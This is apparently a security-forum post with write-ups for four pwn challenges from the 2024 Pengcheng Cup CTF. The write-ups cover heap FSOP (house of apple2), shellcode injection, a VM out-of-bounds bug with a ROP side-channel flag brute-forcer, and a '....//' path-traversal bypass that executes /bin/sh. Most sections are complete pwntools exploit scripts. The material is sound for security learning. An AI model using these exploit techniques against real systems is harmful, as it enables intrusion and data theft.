问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
2024鹏城杯Pwn方向超详细全部题解
本篇文章内容是2024鹏城杯Pwn方向的全部题解
babyheap ======== - 题目中dele没有uaf,但是发现edit函数的长度固定为0x400 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/11/attach-e85d0dcb25a040cb44fc04af15d8bb9e17f30566.png) - libc2.35,所以要打IO,这里用house of apple2 - 利用add(0)泄露出heapbase,填满tcache利用unsorted bin泄露libcbase后,直接利用一次edit的漏洞来申请出\_IO\_2\_1\_stderr来布置IO链即可 ```Python from pwnlib.util.packing import u64 from pwnlib.util.packing import u32 from pwnlib.util.packing import u16 from pwnlib.util.packing import u8 from pwnlib.util.packing import p64 from pwnlib.util.packing import p32 from pwnlib.util.packing import p16 from pwnlib.util.packing import p8 from pwn import * from ctypes import * import ast import struct context(os='linux', arch='amd64', log_level='debug') # p = process("/home/zp9080/PWN/pwn") # p=gdb.debug("/home/zp9080/PWN/pwn",'b *$rebase(0x1A8F7)') p=remote('192.168.18.22',8888) # p=process(['seccomp-tools','dump','/home/zp9080/PWN/pwn']) # elf = ELF("/home/zp9080/PWN/pwn") libc=ELF("/home/zp9080/PWN/libc.so.6") def dbg(): gdb.attach(p,'b *$rebase(0x15E8)') pause() menu=b"inputs your choice:" def add(idx,size,cont): p.sendlineafter(menu,str(1)) p.sendlineafter("input idx:",str(idx)) p.sendlineafter("input size:",str(size)) p.sendafter("input content:",cont) def delete(idx): p.sendlineafter(menu,str(2)) p.sendlineafter("input idx:",str(idx)) def show(idx): p.sendlineafter(menu,str(3)) p.sendlineafter("input idx:\n",str(idx)) def edit(idx,cont): p.sendlineafter(menu,str(4)) p.sendlineafter("input idx:\n",str(idx)) p.send(cont) # #泄露heapbase p.sendlineafter(menu,str(1)) p.sendlineafter("input idx:",str(0)) p.sendlineafter("input size:",str(0)) add(1,0x20,b'a') delete(0) # dbg() p.sendlineafter(menu,str(1)) p.sendlineafter("input idx:",str(0)) p.sendlineafter("input size:",str(0)) show(0) heapbase=u64(p.recv(5).ljust(8,b'\x00'))<<12 print(hex(heapbase)) #泄露libcbase for i in range(8): add(i,0xa0,b'a') add(8,0x20,b'a') for i in range(8): delete(i) # dbg() for i in range(7): add(i,0xa0,b'a') add(7,0x60,b'\xe0') show(7) # dbg() libcbase=u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))-0x21ace0-0x100 print(hex(libcbase)) add(7,0x30,b'a') add(0,0x20,b'a') add(1,0x300,b'a') add(2,0x300,b'a') add(3,0x20,b'a') delete(2) delete(1) IO_2_1_stderr=libcbase+libc.sym['_IO_2_1_stderr_'] # dbg() edit(0,b'a'*0x20+p64(0)+p64(0x301)+p64( ((heapbase+0x8c0)>>12)^ IO_2_1_stderr) ) rdi=libcbase+0x000000000002a3e5 rsi=libcbase+0x000000000002be51 rdxr12=libcbase+0x11f2e7 ret=libcbase+0x29139 system_addr=libcbase+libc.sym['system'] payload= b' sh;\x00\x00\x00'+p64(0) payload += p64(0) + p64(system_addr) + p64(1) + p64(2) #这样设置同时满足fsop payload = payload.ljust(0x48, b'\x00') + p64(heapbase) #FAKE FILE+0x48 payload = payload.ljust(0xa0, b'\x00') + p64(heapbase+0x8d0) #_wide_data payload = payload.ljust(0xd8, b'\x00') + p64(libcbase + libc.sym['_IO_wfile_jumps']) #vtable=_IO_wfile_jumps wide_data=b'\x00' wide_data=wide_data.ljust(0x68,b'\x00') wide_data+=p64(system_addr) wide_data=wide_data.ljust(0xe0,b'\x00') wide_data+=p64(heapbase+0x8d0) # dbg() add(1,0x300,wide_data) add(2,0x300,payload) p.sendlineafter(menu,str(1)) p.sendlineafter("input idx:",str(0)) p.sendlineafter("input size:",str(0x500)) p.interactive() ``` cool\_book ========== - 可以发现add的时候idx的限制不严格,导致越界,可以将返回地址覆盖为堆地址 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/11/attach-459533bac0c63527c51486e94e08b37cb82e21c3.png) - 同时init函数让堆可读可写可执行,所以可以直接执行shellcode,但是read只有0x10字节,不好直接布置shellcode,所以这个shellcode调用read,然后再写入很长长度的shellcode即可 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/11/attach-fca38cfde2edb92c19090079be91032090aef7bb.png) - exp ```Python from pwnlib.util.packing import u64 from pwnlib.util.packing import u32 from pwnlib.util.packing import u16 from pwnlib.util.packing import u8 from pwnlib.util.packing import p64 from pwnlib.util.packing import p32 from pwnlib.util.packing import p16 from pwnlib.util.packing import p8 from pwn import * from ctypes import * import ast import struct context(os='linux', arch='amd64', log_level='debug') # p = process("/home/zp9080/PWN/pwn") # p=gdb.debug("/home/zp9080/PWN/pwn",'b *$rebase(0x1A8F7)') p=remote('192.168.18.25',8888) # p=process(['seccomp-tools','dump','/home/zp9080/PWN/pwn']) elf = ELF("/home/zp9080/PWN/pwn") libc=elf.libc def dbg(): gdb.attach(p,'b *$rebase(0x161D)') pause() # dbg() #6605c255f81e4a68a946e87ea4e6b14f p.sendlineafter("3.exit",str(1)) p.sendlineafter("input idx",str(0x31)) shellcode=''' xor edi,edi mov rdx,0x1000 syscall ''' p.sendafter("input content",asm(shellcode)) # dbg() p.sendlineafter("3.exit",str(3)) shellcode=b'\x90'*0x400+asm(shellcraft.open('flag',0)+shellcraft.read(3,'rsp',0x100)+shellcraft.write(1,'rsp',0x100)) p.send(shellcode) p.interactive() ``` vm == 题目分析 ---- 题目是常见的vm类型,**这个函数的功能就是初始化mem,a\[0\]~a\[7\]是寄存器,a\[8\]是栈,a\[11\]是栈大小,a\[12\]在后面发现是rsp,a\[10\]在后面发现是rip** ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/11/attach-ae1b52db1c14162e934c9305c54ef741ae96977f.png) 题目在到vmrun之前会有个check函数 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/11/attach-13947553fb6adf287cd9bca17217290df370bc2f.png) 看到中间有一部分很难逆向,但是发现了magic\_number,**看出这是md5** ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/11/attach-d51e0aec2aef6deedd5e9e701491ae8b9cc110ae.png) 同时这个不是硬爆md5,**可以看到与magic比较是用strcmp,同时md5这里会有\\x00截断**,所以只用看截断之前的东西就可以了 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/11/attach-b4b7633fe6835dfd78f6aba907d4451da6973750.png) 最终的check这样通过 ```python check=b'LOGIN:root\nadmin:h3r3_1s_y0u2_G1ft!&&An9q\nDONE&EXIT\n' ``` 题目中还有个sandbox,只让使用open,read,brk,close这几个系统调用,所以得考虑**侧信道**来爆出flag ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/11/attach-a8ea79b604cc3071ec6819fab86322bee2013725.png) vmcode逆向内容如下 ```python #reg[idx]/=value def reg_mulvalue(idx,value): global pay pay+=b'\xb8'+b'\x01'+p8(idx)+p64(value) # reg[idx1]/=reg2[idx2]test def div(idx1, idx2): global pay pay += b'\xb8' + b'\x00' + p8(idx1) + p8(idx2) # stack[rsp]=value def pushvalue(value): global pay pay += b'\xb4' + b'\x01' + p64(value) #stack[rsp]=reg[idx] def pushreg(idx): global pay pay+=b'\xb4'+b'\x00'+p8(idx) #ret def popreg(rip): global pay pay+=b'\xb2'+p8(rip) #reg[idx]|=value def reg_orvalue(idx,value): global pay pay+=b'\xb0'+b'\x01'+p8(idx)+p64(value) #reg[idx1]|=reg[idx2] def reg_orreg(idx1,idx2): global pay pay+=b'\xb0'+b'\x00'+p8(idx1)+p8(idx2) def reg_addvalue(idx,value): global pay pay+=b'\x61'+b'\x01'+p8(idx)+p64(value) def reg_addreg(idx1,idx2): global pay pay+=b'\x61'+b'\x00'+p8(idx1)+p8(idx2) def reg_subvalue(idx,value): global pay pay+=b'\x63'+b'\x01'+p8(idx)+p64(value) def reg_subreg(idx1,idx2): global pay pay+=b'\x63'+b'\x00'+p8(idx1)+p8(idx2) def reg_mulvalue(idx,value): global pay pay+=b'\x65'+b'\x01'+p8(idx)+p64(value) def reg_mulreg(idx1,idx2): global pay pay+=b'\x65'+b'\x00'+p8(idx1)+p8(idx2) def reg_xorvalue(idx,value): global pay pay+=b'\x67'+b'\x01'+p8(idx)+p64(value) def reg_xorreg(idx1,idx2): global pay pay+=b'\x67'+b'\x00'+p8(idx1)+p8(idx2) def bitwise_not(idx): #但是没有增加rip??? global pay pay+=b'\x69'+p8(idx) #free and malloc def malloc(size): global pay pay+=b'\x14'+p32(size) #0x13不知道在干嘛 #reg[idx]&=value def reg_andvalue(idx,value): global pay pay+=b'\x11'+b'\x01'+p8(idx)+p64(value) def reg_andreg(idx1,idx2): global pay pay+=b'\x11'+b'\x00'+p8(idx1)+p8(idx2) #reg[idx]=value def putvalue2reg(idx,value): global pay pay+=b'\x12'+b'\x01'+p8(idx)+p64(value) #reg[idx]=*ptr def putvalue2reg_plus(idx,ptr): global pay pay+=b'\x12'+b'\x02'+p8(idx)+p64(ptr) #reg[idx1]=reg[idx2] idx2没有检查 def swapreg0(idx1,idx2): global pay pay+=b'\x12'+b'\x04'+p8(idx1)+p8(idx2) #reg[idx1]=*reg[idx2] def swapreg1(idx1,idx2): global pay pay+=b'\x12'+b'\x08'+p8(idx1)+p8(idx2) #*reg[idx1]=reg[idx2] def swapreg2(idx1,idx2): global pay pay+=b'\x12'+b'\x10'+p8(idx1)+p8(idx2) ``` 可以看到这个vm给的opcode非常全,而且可以发现最后几个指令,**有任意地址的读取,和任意地址的写,同时还有个free然后malloc指令** ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/11/attach-dac4600a164cc5525fa7b3a28735224a08a87504.png) 同时发现有个**swapreg0指令也即是reg\[idx1\]=reg\[idx2\],这里的idx2没有check寄存器的边界,这就造成了越界** ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/11/attach-db74d95aedd04f6aabdbe42e0d0a3698508f0ee2.png) exp编写 ----- 根据上述的漏洞分析,那么思路就明确了。 **既然有free和malloc,而且一开始的栈对应的堆块是0x510大小,free后直接进入unsorted bin,那么再malloc直接可以申请出被写入了libc的地址,同时利用swapreg0的越界,就可以leak出libc** ```python #得到libcbase malloc(0x400) swapreg0(0,14) reg_subvalue(0,0x1ed010) #reg[0]=libcbase swapreg0(7,0) #reg[7]=libcbase ``` ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/11/attach-85e37791f8bfa4ed183145b19d3d173c216c36ef.png) 因为有沙盒,所以肯定要进行ROP,那么**可以利用environ变量泄露出栈地址,然后得到返回地址,最后利用任意地址写来写入ROP** ```python #泄露栈地址,reg[1]=retaddr reg_addvalue(0,0x1ef600) #reg[0]=&environ swapreg1(1,0) #reg[1]=stack reg_subvalue(1,0x000190) #retaddr ``` ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/11/attach-25e0c732f86ce623910a0b10734dc41abff5b27c.png) 侧信道 --- 有了返回地址后,而且可以任意地址写,就要考虑如何写ROP来进行侧信道了 如果是shellcode的侧信道,那还是比较容易的,网上也有很多模板,但是对于ROP的侧信道,需要有一定的技巧 主要是利用了一些magic\_gadget,这里的mg1就是一个cmp比较,**这种比较后面必须跟着分支指令,比如je,jne这样才能判断比较是否相等**,这里不相等会jne 0x1925c5。这里的指令是sbb eax, eax ; sbb eax, 0FFFFFFFFh,也就是rax会变成一个负的0FFFFFFFFh,**后面肯定要接一个read函数来进行阻塞** 但是会发现这样的话**不管cmp比较是否相等,都会执行read,无法区分**,所以有了mg2。mg2指令是mov qword ptr \[rax\], -1; xor eax, eax; ret;同时还有个gadget是add rax, rdi; ret;如果我们先让rdi为libc的bss段。 **如果cmp结果相等,那么rax可能就是一个0x31这种很小的数,mov qword ptr \[rax\], -1;不会报错。但是如果cmp不相等,那么rax最终是libc\_bss-0xFFFFFFFF,这显然是一个非法地址,然后mov qword ptr \[rax\], -1会直接让程序崩溃,这就满足了我们想要侧信道的要求。** ```python def write_rop(ch,idx): libc.address=0 mg1 = libc.address+0x000000000019244e#: cmp al, byte ptr [rsi - 1]; jne 0x1925c5; xor eax, eax; ret; mg2 = 0x00000000001142bb#: mov qword ptr [rax], -1; xor eax, eax; ret; add_rax_rdi = 0x00000000000a8978#: add rax, rdi; ret; mov_rdxaddr_rax = libc.address + 0x0000000000034550#: mov qword ptr [rdx], rax; ret; pop_rdx = libc.address + 0x0000000000142c92#: pop rdx; ret; pop_rax = libc.address + 0x0000000000036174#: pop rax; ret; pop_rdi = libc.address + 0x0000000000023b6a#: pop rdi; ret; pop_rsi = libc.address + 0x000000000002601f#: pop rsi; ret; pop_rdx = libc.address + 0x0000000000142c92#: pop rdx; ret; bss=libc.address+0x1ED7A0+0x800 #open write_func(pop_rdx) write_func(bss) write_func(pop_rax) write_other(0x67616c662f2e) write_func(mov_rdxaddr_rax) write_func(pop_rdi) write_func(bss) write_func(pop_rsi) write_other(0) write_func(pop_rdx) write_other(0) write_func(pop_rax) write_other(2) write_func(0x47656) #syscall ; pop rbp ; ret write_other(0) #read write_func(pop_rdi) write_other(3) write_func(pop_rsi) write_func(bss) write_func(pop_rdx) write_other(0x100) write_func(libc.sym['read']) #cmp write_func(pop_rax) write_other(ch) write_func(pop_rsi) write_func(bss+ 1 +idx) write_func(mg1) write_func(pop_rdi) write_func(bss) #如果cmp指令不等于,则会jne 0x1925c5 -> sbb eax, eax ; sbb eax, 0FFFFFFFFh #add rax,rdi后rax的值可能为一个非法地址,那么mg2 mov qword ptr [rax], -1就会让程序崩掉,因为[rax]非法访问内存 write_func(add_rax_rdi) write_func(mg2) #否则就进入read,read是可以进行阻塞的 write_func(pop_rdi) write_other(0) write_func(pop_rsi) write_func(bss) write_func(pop_rdx) write_other(0x100) write_func(libc.symbols["read"]) ``` - 最终exp如下 ```python from pwnlib.util.packing import u64 from pwnlib.util.packing import u32 from pwnlib.util.packing import u16 from pwnlib.util.packing import u8 from pwnlib.util.packing import p64 from pwnlib.util.packing import p32 from pwnlib.util.packing import p16 from pwnlib.util.packing import p8 from pwn import * from ctypes import * import ast import struct context(os='linux', arch='amd64', log_level='debug') # p = process("/home/zp9080/PWN/pwn") # p=gdb.debug("/home/zp9080/PWN/pwn",'b *$rebase(0x1A8F7)') # p=remote('192.168.18.26',8883) # p=process(['seccomp-tools','dump','/home/zp9080/PWN/pwn']) elf = ELF("/home/zp9080/PWN/pwn") libc=elf.libc # def dbg(): # gdb.attach(p,'b *$rebase(0x33EC)') # pause() check=b'LOGIN:root\nadmin:h3r3_1s_y0u2_G1ft!&&An9q\nDONE&EXIT\n' pay=b'' #reg[idx]/=value def reg_mulvalue(idx,value): global pay pay+=b'\xb8'+b'\x01'+p8(idx)+p64(value) # reg[idx1]/=reg2[idx2]test def div(idx1, idx2): global pay pay += b'\xb8' + b'\x00' + p8(idx1) + p8(idx2) # stack[rsp]=value def pushvalue(value): global pay pay += b'\xb4' + b'\x01' + p64(value) #stack[rsp]=reg[idx] def pushreg(idx): global pay pay+=b'\xb4'+b'\x00'+p8(idx) #ret def popreg(rip): global pay pay+=b'\xb2'+p8(rip) #reg[idx]|=value def reg_orvalue(idx,value): global pay pay+=b'\xb0'+b'\x01'+p8(idx)+p64(value) #reg[idx1]|=reg[idx2] def reg_orreg(idx1,idx2): global pay pay+=b'\xb0'+b'\x00'+p8(idx1)+p8(idx2) def reg_addvalue(idx,value): global pay pay+=b'\x61'+b'\x01'+p8(idx)+p64(value) def reg_addreg(idx1,idx2): global pay pay+=b'\x61'+b'\x00'+p8(idx1)+p8(idx2) def reg_subvalue(idx,value): global pay pay+=b'\x63'+b'\x01'+p8(idx)+p64(value) def reg_subreg(idx1,idx2): global pay pay+=b'\x63'+b'\x00'+p8(idx1)+p8(idx2) def reg_mulvalue(idx,value): global pay pay+=b'\x65'+b'\x01'+p8(idx)+p64(value) def reg_mulreg(idx1,idx2): global pay pay+=b'\x65'+b'\x00'+p8(idx1)+p8(idx2) def reg_xorvalue(idx,value): global pay pay+=b'\x67'+b'\x01'+p8(idx)+p64(value) def reg_xorreg(idx1,idx2): global pay pay+=b'\x67'+b'\x00'+p8(idx1)+p8(idx2) def bitwise_not(idx): #但是没有增加rip??? global pay pay+=b'\x69'+p8(idx) #free and malloc def malloc(size): global pay pay+=b'\x14'+p32(size) #0x13不知道在干嘛 #reg[idx]&=value def reg_andvalue(idx,value): global pay pay+=b'\x11'+b'\x01'+p8(idx)+p64(value) def reg_andreg(idx1,idx2): global pay pay+=b'\x11'+b'\x00'+p8(idx1)+p8(idx2) #reg[idx]=value def putvalue2reg(idx,value): global pay pay+=b'\x12'+b'\x01'+p8(idx)+p64(value) #reg[idx]=*ptr def putvalue2reg_plus(idx,ptr): global pay pay+=b'\x12'+b'\x02'+p8(idx)+p64(ptr) #reg[idx1]=reg[idx2] idx2没有检查 def swapreg0(idx1,idx2): global pay pay+=b'\x12'+b'\x04'+p8(idx1)+p8(idx2) #reg[idx1]=*reg[idx2] def swapreg1(idx1,idx2): global pay pay+=b'\x12'+b'\x08'+p8(idx1)+p8(idx2) #*reg[idx1]=reg[idx2] def swapreg2(idx1,idx2): global pay pay+=b'\x12'+b'\x10'+p8(idx1)+p8(idx2) def write_func(offset): reg_addvalue(7,offset) swapreg2(1,7) reg_subvalue(7,offset) reg_addvalue(1,8) def write_other(value): putvalue2reg(6,value) swapreg2(1,6) reg_addvalue(1,8) def write_rop(ch,idx): libc.address=0 mg1 = libc.address+0x000000000019244e#: cmp al, byte ptr [rsi - 1]; jne 0x1925c5; xor eax, eax; ret; mg2 = 0x00000000001142bb#: mov qword ptr [rax], -1; xor eax, eax; ret; add_rax_rdi = 0x00000000000a8978#: add rax, rdi; ret; mov_rdxaddr_rax = libc.address + 0x0000000000034550#: mov qword ptr [rdx], rax; ret; pop_rdx = libc.address + 0x0000000000142c92#: pop rdx; ret; pop_rax = libc.address + 0x0000000000036174#: pop rax; ret; pop_rdi = libc.address + 0x0000000000023b6a#: pop rdi; ret; pop_rsi = libc.address + 0x000000000002601f#: pop rsi; ret; pop_rdx = libc.address + 0x0000000000142c92#: pop rdx; ret; bss=libc.address+0x1ED7A0+0x800 #open write_func(pop_rdx) write_func(bss) write_func(pop_rax) write_other(0x67616c662f2e) write_func(mov_rdxaddr_rax) write_func(pop_rdi) write_func(bss) write_func(pop_rsi) write_other(0) write_func(pop_rdx) write_other(0) write_func(pop_rax) write_other(2) write_func(0x47656) #syscall ; pop rbp ; ret write_other(0) #read write_func(pop_rdi) write_other(3) write_func(pop_rsi) write_func(bss) write_func(pop_rdx) write_other(0x100) write_func(libc.sym['read']) #cmp write_func(pop_rax) write_other(ch) write_func(pop_rsi) write_func(bss+ 1 +idx) write_func(mg1) write_func(pop_rdi) write_func(bss) #如果cmp指令不等于,则会jne 0x1925c5 -> sbb eax, eax ; sbb eax, 0FFFFFFFFh #add rax,rdi后rax的值可能为一个非法地址,那么mg2 mov qword ptr [rax], -1就会让程序崩掉,因为[rax]非法访问内存 write_func(add_rax_rdi) write_func(mg2) #否则就进入read,read是可以进行阻塞的 write_func(pop_rdi) write_other(0) write_func(pop_rsi) write_func(bss) write_func(pop_rdx) write_other(0x100) write_func(libc.symbols["read"]) def pwn(ch,idx): p = process("/home/zp9080/PWN/pwn") global pay pay=b'' #得到libcbase malloc(0x400) swapreg0(0,14) reg_subvalue(0,0x1ed010) #reg[0]=libcbase swapreg0(7,0) #reg[7]=libcbase #泄露栈地址,reg[1]=retaddr reg_addvalue(0,0x1ef600) #reg[0]=&environ swapreg1(1,0) #reg[1]=stack reg_subvalue(1,0x000190) #retaddr write_rop(ch,idx) p.sendlineafter(':',check) try: p.sendafter("Man!what can I say?hahaha:", pay.ljust(0x600, b"\x00")) a = p.recvuntil("abcd",timeout = 0.7) print(a) if a == b'': p.sendline('123') # p.recvline() p.close() return True return False except EOFError: return False charlist = [ '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '{','}' ] def brute(idx): global pay for i in charlist: if pwn(ord(i), idx): return i flag = '' for i in range(0,66): pay=b'' ch = brute(i) if ch == b'\x00'or ch == None: break flag += ch print(flag) pause() print(flag) ``` - 在本地成功进行了侧信道得到flag ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/11/attach-60c094a4ea57a471192a7c71b73db3355eedbbaa.png) ez\_upload ========== 第一阶段 ---- 题目是很常见的httpd文件,出题人只写了GET和POST两种请求。**可以看都GET请求带参数(也就是有?),POST请求,或者访问的文件具有用户读权限、组执行权限或其他用户执行权限中的任意一个权限,v2 被设置为 1。此时会进入bbbb函数** ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/11/attach-a9f082fa7db76f947daec1975b0cef67c3dd2680.png) 而serve\_file函数其实就是进行一个文件读然后写到输出中,但是想要直接访问flag文件是不行的,因为看到dockerfile中flag具有用户读权限,所以进不到serve\_file函数中去 ```dockerfile COPY ./flag/flag / RUN chown root:root /flag RUN chmod 744 /flag ``` ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/11/attach-dce5381d2e1db9d42f31ecc840a6394001c4c4c3.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/11/attach-6ac25eac6c129531f2f04ff95838ce10d94929d7.png) 相关系统调用 ------ ### pipe pipe 系统调用用于创建一个单向数据通道,通过文件描述符实现进程间通信。pipe 的语法如下: ```c #include <unistd.h> int pipe(int pipefd[2]); ``` 参数:pipefd 是一个包含两个整数的数组,pipefd\[0\] 是读取端,pipefd\[1\] 是写入端。 向 pipe\[1\] 写入数据,pipe\[0\] 就会接收到数据。这是管道在进程间通信中的核心原理。 管道的工作机制: ```text 单向数据流:管道(pipe)创建后会提供两个文件描述符,pipe[0] 和 pipe[1]。 pipe[0] 是读取端。 pipe[1] 是写入端。 ``` 数据传递:向 pipe\[1\] 写入的数据会自动流向 pipe\[0\],这样读取端的进程就可以获取写入端写入的数据。数据在进程之间传递时不会经过磁盘,而是直接在内存中传输,这样通信速度更快。 ### dup2 dup2 是一个系统调用,用于将一个文件描述符复制到另一个文件描述符。它通常用于重定向标准输入、输出和错误。其定义如下: ```c #include <unistd.h> int dup2(int oldfd, int newfd); ``` oldfd:要复制的文件描述符。newfd:要将 oldfd 复制到的文件描述符。如果 newfd 已经打开,它会首先被关闭,然后指向与 oldfd 相同的文件。 dup2 常用于将标准输入、标准输出或标准错误重定向到一个文件或管道的文件描述符,以便控制输出或输入的来源。例如,将标准输出重定向到一个文件。比如dup2(file\_fd, STDOUT\_FILENO) 第二阶段 ---- 子进程就是根据file去调用execl函数 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/11/attach-2250bb20b2c53d8c92379aa37d60f3c9db46b941.png) 父进程就是把content通过管道写入到子进程中(注意子进程调用了dup2,把标准输入输出重定向到管道) ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/11/attach-8e886c78d2946c8a149968d16e88b82879311663.png) 同时题目中给了个cgibin.cgi文件,这个bbbb函数应该就是为cgibin.cgi服务的,我认为漏洞可能也在cgibin.cgi这个二进制文件中。但是发现httpd中filename = handle\_url(s, "../", byte\_501A);中有个漏洞。 **看似好像把"../"这个字符串给移除了,但是这里的移除可以绕过。利用"....//"这个形式(也就是双写绕过),题目移除"../"后刚好还剩下"../",仍然可以进行目录穿越** ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/11/attach-3ccb9203e54f67d53c0b03a8169dc7ac933c1ba5.png) **但是注意我们无法通过serve\_file直接读flag,因为flag具有读权限。但是我们已经可以目录穿越,同时bbbb函数中可以进行任意文件执行,那么可以直接执行/bin/sh,然后content内容为cat flag\\n,那么就可以得到flag** 第三阶段 ---- 主要是要留意一些小问题: 第一个是content中的cat flag记得要带上\\n,因为在httpd中经常以\\n作为recv的终止符,不加上可能就一直卡在那里了 第二个是cat flag后需要再次访问页面才看得到flag,不知道是什么原因,这个感觉类似再次访问页面会刷新输出缓冲区一样 - exp ```python data=requests.post(url=b"http://192.168.18.27:8080/....//....//bin/sh", data=b"cat /flag\n\n\n") ``` - 最后可以在web页面看到flag(这里是用docker复现) ![117.png](https://shs3.b.qianxin.com/attack_forum/2024/11/attach-560ae32db9b4815f5aacdb6ab0c1745b63f7b2ce.png)
发表于 2024-11-13 09:00:00
阅读 ( 593 )
分类:
二进制
1 推荐
收藏
0 条评论
请先
登录
后评论
_ZER0_
9 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!